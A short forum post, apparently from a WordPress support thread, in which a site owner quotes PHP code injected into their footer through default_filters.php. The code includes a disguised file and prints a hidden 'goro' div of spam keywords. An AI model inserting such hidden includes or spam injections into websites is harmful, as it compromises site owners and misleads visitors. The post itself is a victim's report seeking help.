aspender

Just to be clear, the following got inserted into my page footer:

add_action(‘wp_footer’,’wpc7c16b8466d864eeefd20050625c7775′);
function wpc7c16b8466d864eeefd20050625c7775() {
@include(‘./wp-includes/class-mail.php’);
if(sizeof($wparr)>0){
echo “<div id=\”goro\”>”;
foreach($wparr as $k=>$v){
echo ““.ucwords($v[‘key’]).”\n”;
if($i++==$inum) break;
}
echo “</div>”.$_footer;
}
}

However after googling for the goro div and finding some results on these forums, what appears to be different in this case is that wp-includes/default_filters.php was the file that included the hack, not a theme.

My host confirms that there were a number of attempted FTP logins from a Chinese IP on the day of the hack, but none of them were successful.